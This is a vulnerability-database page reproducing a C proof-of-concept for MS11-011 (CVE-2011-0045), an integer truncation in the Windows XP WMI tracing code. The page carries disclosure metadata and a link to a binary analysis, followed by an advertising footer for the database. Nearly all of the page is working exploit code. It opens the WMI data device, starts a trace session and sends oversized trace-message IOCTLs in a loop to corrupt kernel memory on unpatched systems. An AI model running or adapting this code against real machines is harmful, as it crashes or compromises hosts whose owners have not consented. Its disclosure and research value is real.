Lucene search
K

Microsoft Windows XP WmiTraceMessageVa Integer Truncation

🗓️ 01 Mar 2011 00:00:00Reported by Nikita TarakanovType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 42 Views

Windows XP WmiTraceMessageVa Integer Truncation Vulnerabilit

Related
Code
`/*  
# Exploit Title: MS11-011(CVE-2011-0045): MS Windows XP WmiTraceMessageVa Integer Truncation Vulnerability PoC  
# Date: 2011-03-01  
# Author: Nikita Tarakanov (CISS Research Team)  
# Software Link:  
# Version: prior to MS11-011  
# Tested on: Win XP SP3  
# CVE : CVE-2011-0045  
# Status : Patched  
# Binary Analysis: http://cissrt.blogspot.com/2011/02/cve-2011-0045-ms-windows-xp.html  
*/  
  
  
  
  
#include <windows.h>  
#include <stdio.h>  
#include <conio.h>  
#include <strsafe.h>  
#include <wmistr.h>  
#include <evntrace.h>  
  
  
  
  
#define WmiTraceMessageCode 40  
#define WmiCreateUMLogger 84  
#define WmiStartLoggerCode 32  
  
#define IOCTL_WMI_TRACE_MESSAGE \  
CTL_CODE(FILE_DEVICE_UNKNOWN, WmiTraceMessageCode,  
METHOD_NEITHER, FILE_WRITE_ACCESS)  
  
/*  
#define CTL_CODE( DeviceType, Function, Method, Access ) ( \  
((DeviceType) << 16) | ((Access) << 14) | ((Function) << 2) | (Method) \  
)  
  
#define IOCTL_WMI_TRACE_MESSAGE \  
CTL_CODE(FILE_DEVICE_UNKNOWN, WmiTraceMessageCode,  
METHOD_NEITHER, FILE_WRITE_ACCESS)  
  
#define IOCTL_WMI_CREATE_UM_LOGGER CTL_CODE(FILE_DEVICE_UNKNOWN,  
WmiCreateUMLogger, METHOD_BUFFERED, FILE_READ_ACCESS)  
  
#define IOCTL_WMI_START_LOGGER \  
CTL_CODE(FILE_DEVICE_UNKNOWN, WmiStartLoggerCode,  
METHOD_BUFFERED, FILE_ANY_ACCESS)  
  
  
  
typedef struct _UNICODE_STRING {  
USHORT Length;  
USHORT MaximumLength;  
PWSTR Buffer;  
} UNICODE_STRING;  
typedef UNICODE_STRING *PUNICODE_STRING;  
  
typedef struct _STRING64 {  
USHORT Length;  
USHORT MaximumLength;  
ULONGLONG Buffer;  
} STRING64;  
typedef STRING64 *PSTRING64;  
  
typedef STRING64 UNICODE_STRING64;  
typedef UNICODE_STRING64 *PUNICODE_STRING64;  
  
  
//  
// WNODE definition  
typedef struct _WNODE_HEADER  
{  
ULONG BufferSize; // Size of entire buffer inclusive of this  
ULONG  
ULONG ProviderId; // Provider Id of driver returning this buffer  
union  
{  
ULONG64 HistoricalContext; // Logger use  
struct  
{  
ULONG Version; // Reserved  
ULONG Linkage; // Linkage field reserved for WMI  
};  
};  
  
union  
{  
ULONG CountLost; // Reserved  
HANDLE KernelHandle; // Kernel handle for data block  
LARGE_INTEGER TimeStamp; // Timestamp as returned in units of 100ns  
// since 1/1/1601  
};  
GUID Guid; // Guid for data block returned with results  
ULONG ClientContext;  
ULONG Flags; // Flags, see below  
} WNODE_HEADER, *PWNODE_HEADER;  
  
//  
// Logger configuration and running statistics. This structure is used  
// by WMI.DLL to convert to UNICODE_STRING  
//  
// begin_wmikm  
typedef struct _WMI_LOGGER_INFORMATION {  
WNODE_HEADER Wnode; // Had to do this since wmium.h comes later  
//  
// data provider by caller  
ULONG BufferSize; // buffer size for logging (in  
kbytes)  
ULONG MinimumBuffers; // minimum to preallocate  
ULONG MaximumBuffers; // maximum buffers allowed  
ULONG MaximumFileSize; // maximum logfile size (in MBytes)  
ULONG LogFileMode; // sequential, circular  
ULONG FlushTimer; // buffer flush timer, in seconds  
ULONG EnableFlags; // trace enable flags  
LONG AgeLimit; // aging decay time, in minutes  
ULONG Wow; // TRUE if the logger started  
under WOW64  
union {  
HANDLE LogFileHandle; // handle to logfile  
ULONG64 LogFileHandle64;  
};  
  
// data returned to caller  
// end_wmikm  
union {  
// begin_wmikm  
ULONG NumberOfBuffers; // no of buffers in use  
// end_wmikm  
ULONG InstanceCount; // Number of Provider Instances  
};  
union {  
// begin_wmikm  
ULONG FreeBuffers; // no of buffers free  
// end_wmikm  
ULONG InstanceId; // Current Provider's Id for  
UmLogger  
};  
union {  
// begin_wmikm  
ULONG EventsLost; // event records lost  
// end_wmikm  
ULONG NumberOfProcessors; // Passed on to UmLogger  
};  
// begin_wmikm  
ULONG BuffersWritten; // no of buffers written to file  
ULONG LogBuffersLost; // no of logfile write failures  
ULONG RealTimeBuffersLost; // no of rt delivery failures  
union {  
HANDLE LoggerThreadId; // thread id of Logger  
ULONG64 LoggerThreadId64; // thread is of Logger  
};  
union {  
UNICODE_STRING LogFileName; // used only in WIN64  
UNICODE_STRING64 LogFileName64; // Logfile name: only in WIN32  
};  
  
// mandatory data provided by caller  
union {  
UNICODE_STRING LoggerName; // Logger instance name in WIN64  
UNICODE_STRING64 LoggerName64; // Logger Instance name in WIN32  
};  
  
// private  
union {  
PVOID Checksum;  
ULONG64 Checksum64;  
};  
union {  
PVOID LoggerExtension;  
ULONG64 LoggerExtension64;  
};  
} WMI_LOGGER_INFORMATION, *PWMI_LOGGER_INFORMATION;  
  
*/  
  
typedef struct _WMI_TRACE_MESSAGE_PACKET { // must be ULONG!!  
USHORT MessageNumber; // The message Number, index  
of messages by GUID  
// Or ComponentID  
USHORT OptionFlags ; // Flags associated with the  
message  
} WMI_TRACE_MESSAGE_PACKET, *PWMI_TRACE_MESSAGE_PACKET;  
  
typedef struct _MESSAGE_TRACE_HEADER {  
union {  
ULONG Marker;  
struct {  
USHORT Size; // Total Size of the  
message including header  
UCHAR Reserved; // Unused and reserved  
UCHAR Version; // The message structure  
type (TRACE_MESSAGE_FLAG)  
};  
};  
union {  
ULONG Header; // both sizes must be the same!  
WMI_TRACE_MESSAGE_PACKET Packet;  
};  
} MESSAGE_TRACE_HEADER, *PMESSAGE_TRACE_HEADER;  
  
typedef struct _MESSAGE_TRACE {  
MESSAGE_TRACE_HEADER MessageHeader ;  
UCHAR Data ;  
} MESSAGE_TRACE, *PMESSAGE_TRACE ;  
  
//  
// Structure used to pass user log messages to the kernel  
//  
typedef struct _MESSAGE_TRACE_USER {  
MESSAGE_TRACE_HEADER MessageHeader ;  
ULONG MessageFlags ;  
ULONG64 LoggerHandle ;  
GUID MessageGuid ;  
ULONG DataSize ;  
UCHAR Data ;  
} MESSAGE_TRACE_USER, *PMESSAGE_TRACE_USER ;  
  
/*  
  
  
typedef struct _OBJECT_ATTRIBUTES {  
ULONG Length;  
HANDLE RootDirectory;  
PUNICODE_STRING ObjectName;  
ULONG Attributes;  
PVOID SecurityDescriptor; // Points to type SECURITY_DESCRIPTOR  
PVOID SecurityQualityOfService; // Points to type  
SECURITY_QUALITY_OF_SERVICE  
} OBJECT_ATTRIBUTES;  
typedef OBJECT_ATTRIBUTES *POBJECT_ATTRIBUTES;  
  
typedef union  
{  
HANDLE Handle;  
ULONG64 Handle64;  
ULONG32 Handle32;  
} HANDLE3264, *PHANDLE3264;  
  
typedef struct  
{  
IN POBJECT_ATTRIBUTES ObjectAttributes;  
IN GUID ControlGuid;  
OUT HANDLE3264 ReplyHandle;  
OUT ULONG ReplyCount;  
} WMICREATEUMLOGGER, *PWMICREATEUMLOGGER;  
  
*/  
  
//#define LOGFILE_PATH L"<FULLPATHTOLOGFILE.etl>"  
#define LOGFILE_PATH L"test.etl"  
//#define LOGSESSION_NAME L"My Event Trace Session"  
#define LOGSESSION_NAME L"test"  
  
// GUID that identifies your trace session.  
// Remember to create your own session GUID.  
  
// {94BE0BF2-885F-4972-8461-A7D83B53F1AD}  
static const GUID SessionGuid =  
{ 0x94be0bf2, 0x885f, 0x4972, { 0x84, 0x61, 0xa7, 0xd8, 0x3b, 0x53,  
0xf1, 0xad } };  
  
// GUID that identifies the provider that you want  
// to enable to your session.  
  
// {7C214FB1-9CAC-4b8d-BAED-7BF48BF63BB3}  
static const GUID ProviderGuid =  
{ 0x7c214fb1, 0x9cac, 0x4b8d, { 0xba, 0xed, 0x7b, 0xf4, 0x8b, 0xf6,  
0x3b, 0xb3 } };  
  
int trigger(HANDLE hDevice);  
int start_usermode_logger(HANDLE hDevice);  
int start_logger(HANDLE hDevice);  
HANDLE open_device();  
  
int main(int argc, char **argv)  
{  
HANDLE hDevice;  
if((hDevice = open_device()) == INVALID_HANDLE_VALUE){  
printf("open_device failed!\n");  
return 0;  
}  
  
if(!start_usermode_logger(hDevice)){  
printf("start_usermode_logger failed!\n");  
return 0;  
}  
  
/*  
if(!start_logger(hDevice)){  
printf("start_logger failed!\n");  
return 0;  
}  
*/  
trigger(hDevice);  
return 0;  
}  
  
HANDLE open_device()  
{  
char deviceName[] = "\\\\.\\WMIDataDevice";  
HANDLE hDevice;  
if ( (hDevice = CreateFileA(deviceName,  
GENERIC_READ|GENERIC_WRITE,  
//0,  
0,  
0,  
OPEN_EXISTING,  
0,  
NULL) ) != INVALID_HANDLE_VALUE )  
{  
printf("Device succesfully opened!\n");  
return hDevice;  
}  
else  
{  
printf("Error: Error opening device at NULL premission\n");  
return INVALID_HANDLE_VALUE;  
}  
}  
  
int start_usermode_logger(HANDLE hDevice)  
{  
ULONG status = ERROR_SUCCESS;  
TRACEHANDLE SessionHandle = 0;  
EVENT_TRACE_PROPERTIES* pSessionProperties = NULL;  
ULONG BufferSize = 0;  
BOOL TraceOn = TRUE;  
  
// Allocate memory for the session properties. The memory must  
// be large enough to include the log file name and session name,  
// which get appended to the end of the session properties structure.  
  
BufferSize = sizeof(EVENT_TRACE_PROPERTIES) + sizeof(LOGFILE_PATH) +  
sizeof(LOGSESSION_NAME);  
pSessionProperties = (EVENT_TRACE_PROPERTIES*) malloc(BufferSize);   
if (NULL == pSessionProperties)  
{  
wprintf(L"Unable to allocate %d bytes for properties  
structure.\n", BufferSize);  
return 0;  
}  
  
// Set the session properties. You only append the log file name  
// to the properties structure; the StartTrace function appends  
// the session name for you.  
  
ZeroMemory(pSessionProperties, BufferSize);  
pSessionProperties->Wnode.BufferSize = BufferSize;  
pSessionProperties->Wnode.Flags = WNODE_FLAG_TRACED_GUID;  
pSessionProperties->Wnode.ClientContext = 1; //QPC clock resolution  
pSessionProperties->Wnode.Guid = SessionGuid;  
pSessionProperties->LogFileMode = EVENT_TRACE_FILE_MODE_CIRCULAR |  
EVENT_TRACE_USE_PAGED_MEMORY;  
pSessionProperties->MaximumFileSize = 5; // 5 MB  
pSessionProperties->LoggerNameOffset = sizeof(EVENT_TRACE_PROPERTIES);  
pSessionProperties->LogFileNameOffset =  
sizeof(EVENT_TRACE_PROPERTIES) + sizeof(LOGSESSION_NAME);  
StringCbCopy((LPWSTR)((char*)pSessionProperties +  
pSessionProperties->LogFileNameOffset), sizeof(LOGFILE_PATH), LOGFILE_PATH);  
  
// Create the trace session.  
  
status = StartTrace((PTRACEHANDLE)&SessionHandle, LOGSESSION_NAME,  
pSessionProperties);  
if (ERROR_SUCCESS != status)  
{  
wprintf(L"StartTrace() failed with %lu\n", status);  
return 0;  
}  
  
// Enable the providers that you want to log events to your session.  
  
status = EnableTrace(  
TraceOn, // TRUE enables the provider  
0, // No enable flags  
TRACE_LEVEL_INFORMATION, // Enable informational, warning, error  
and critical events  
(LPCGUID)&ProviderGuid, // Provider to enable  
SessionHandle // Session handle from StartTrace  
);  
  
if (ERROR_SUCCESS != status)  
{  
wprintf(L"EnableTrace() failed with %lu\n", status);  
TraceOn = FALSE;  
return 0;  
}  
  
wprintf(L"Run the provider application. Then hit any key to stop the  
session.\n");  
return 1;  
}  
  
int trigger(HANDLE hDevice)  
{  
  
DWORD cb, inlen, outlen;  
char *buff, *buff_out = NULL;  
  
DWORD result = 0;  
unsigned char str[] = "fuckdata";  
  
MESSAGE_TRACE_USER Message;  
  
Message.MessageHeader.Marker = 0xBEBEBEBE;  
Message.MessageHeader.Header = 0xEFEFEFEF;  
  
Message.MessageFlags = 0xC0C0DEDE;  
  
//Message.LoggerHandle = 0xC0DEC0DEDEADDEAD;  
//Message.LoggerHandle = 0xC0DEC0DE12340001;//last WORD should be in  
1 < n < 40  
Message.LoggerHandle = 0xC0DEC0DE12340000;//last WORD should be in 1  
< n < 40  
  
Message.MessageGuid.Data1 = 0xC0DEDEAD;  
Message.MessageGuid.Data2 = 0xDEC0;  
Message.MessageGuid.Data3 = 0xDEDE;  
memcpy(Message.MessageGuid.Data4, str, 8);  
  
//Message.DataSize = 0xDEADBEEF;  
//Message.DataSize = 0x0000FFFE;//in fixed versioon should be < 0x1FD0  
Message.DataSize = 0x00010FF0;//in fixed versioon should be < 0x1FD0  
Message.Data = '0';  
  
//DWORD ioctl = 0x2280A3;  
  
buff_out = (char*)malloc(0x2000);  
if(!buff_out){  
printf("malloc failed");  
return 0;  
}  
memset(buff_out, 0x0, 0x2000);  
  
cb = 0;  
buff = (char*)malloc(0x20000);  
if(!buff){  
printf("malloc failed");  
return 0;  
}  
memset(buff, 'A', 0x20000-1);  
  
  
  
outlen = 0x0;  
inlen = 0x15000;  
  
memcpy(buff, &Message, 0x30);  
//result = DeviceIoControl(hDevice, IOCTL_WMI_TRACE_MESSAGE,  
(LPVOID)&Message, inlen, (LPVOID)buff_out, outlen, &cb, NULL);  
for(int i =0; i< 0x40; i++){  
Message.LoggerHandle++;  
memset(buff, 'A', 0x20000-1);  
memcpy(buff, &Message, 0x30);  
  
result = DeviceIoControl(hDevice, IOCTL_WMI_TRACE_MESSAGE,  
(LPVOID)buff, inlen, (LPVOID)buff_out, outlen, &cb, NULL);  
printf("ioctl = 0x%08X, id = %d, result = %d\n",  
IOCTL_WMI_TRACE_MESSAGE, i, result);  
}   
printf("done!");  
free(buff);  
}  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation